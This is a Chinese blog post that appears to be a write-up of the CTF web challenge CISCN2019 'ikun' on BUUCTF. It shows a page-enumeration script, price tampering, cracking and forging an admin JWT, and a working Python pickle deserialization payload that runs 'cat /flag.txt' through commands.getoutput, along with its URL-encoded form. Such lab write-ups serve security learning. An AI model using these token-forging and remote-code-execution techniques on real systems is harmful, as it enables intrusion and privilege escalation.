当前位置:网站首页>[CISCN2019 华北赛区 Day1 Web2]ikun
[CISCN2019 华北赛区 Day1 Web2]ikun
2022-07-26 22:39:00 【茶经新读.】
[CISCN2019 华北赛区 Day1 Web2]ikun

进来发现让买到lv6,可以翻页,并且url会随之改变
![]()
翻了几页没找到lv6,脚本小子启动
import requests
url="http://30b74212-bc6f-465c-8b60-d9aeaa215b75.node4.buuoj.cn:81/shop?page="
for i in range(0,2000):
print(i)
r=requests.get( url + str(i) )
if 'lv6.png' in r.text:
print (i)
break
发现lv6在181页,修改url火速赶往181页

点击购买,需要注册注册完了之后,发现钱不够但是有折扣,直接f12找到折扣修改

点击购买的时候发现
该页面只允许admin访问,并且在f12的application中cookie中发现了jwt:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.8iYM4QgkAw4NpjpP8tEn7MBbZoF-Kj8YRbosz3Qrr-Q
此时需要修改名字为admin,但是不知道密钥,需要爆破密钥,暴力破解密钥:
工具:https://github.com/brendan-rius/c-jwt-cracker

然后就是构造jwt,jwt在线编辑网站:jwt在线编辑网站:JSON Web Tokens - jwt.io

然后bp抓包,再点击购买,修改折扣的同时,jwt也要修改:

然后放包,就发现购买成功了

点击一键成为大会员,页面没有发生变化,f12查看源码发现了zip文件

下载获得一个文件夹和一个main.py,往下目录里面看发现了Admin.py,在其中发现了pickle反序列化漏洞

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
二话不说,脚本小子再次出击:
import pickle
import urllib
import commands
class Try(object):
def __reduce__(self):
return (commands.getoutput, ('cat /flag.txt',))
a = Try()
print(urllib.quote(pickle.dumps(a)))![]()
ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.
然后返回bp,点击一键成为大会员,在bp上become一栏修改为我们得到的payload,即可获得flag


边栏推荐
- Matlab based medical imaging technology filtering backprojection simulation, including direct backprojection, S-L filtering, R-L filtering, LeWitt filtering
- 蓝桥杯 1004 [递归]母牛的故事
- 并行MPI程序传递发送消息
- el-checkbox中的checked勾选状态问题 2021-08-02
- js中this指向详解
- [2. TMUX operation]
- Application of encoding in XSS
- 运算符重载
- The use of C language static can flexibly change the life cycle and make you write code like a duck to water
- Yolo of Darknet_ Forward of layer_ yolo_ Layer comments
猜你喜欢
Alibaba internal "shutter" core advanced notes~

Operator overloading

Mysql互不关联的联表查询(减少了查询的次数)

On the expression of thymeleaf
![[HarekazeCTF2019]encode_and_encode](/img/f5/c06523a1764717bdf2d91f069c9d77.png)
[HarekazeCTF2019]encode_and_encode

DOM day_ 02 (7.8) web page production process, picture SRC attribute, carousel chart, custom attribute, tab bar, input box event, check operation, accessor syntax

CUDA version difference between NVIDIA SMI and nvcc -v

JSCORE day_02(7.1)

TypeScript(tsconfig.json)

Viterbi Viterbi decoding bit error rate simulation, modulation is QPSK, channel is Gaussian white noise
随机推荐
[Network Research Institute] attackers scan 1.6 million WordPress websites to find vulnerable plug-ins
C语言 关机小程序
Huffman encoding and decoding
[PCB open source sharing] stc32g12k128/stc8h8k64u development board
My first blog - confused junior
Friend friend function and singleton mode
Reduced dimension mean dot product matrix multiplicative norm probability normal distribution square loss
"Syntaxerror: future feature annotations is not defined"
DOM day_02(7.8)网页制作流程、图片src属性、轮播图、自定义属性、标签栏、输入框事件、勾选操作、访问器语法
关于Redis问题的二三事
C language shutdown applet
DOM day_03(7.11) 事件冒泡机制、事件委托、待办事项、阻止默认事件、鼠标坐标、页面滚动事件、创建DOM元素、DOM封装操作
Helicopter control system based on Simulink
Matlab based medical imaging technology filtering backprojection simulation, including direct backprojection, S-L filtering, R-L filtering, LeWitt filtering
Use of postman
【4.2 约数】
[RootersCTF2019]I_<3_Flask
10个Web API
Point to plane projection
并行MPI程序传递发送消息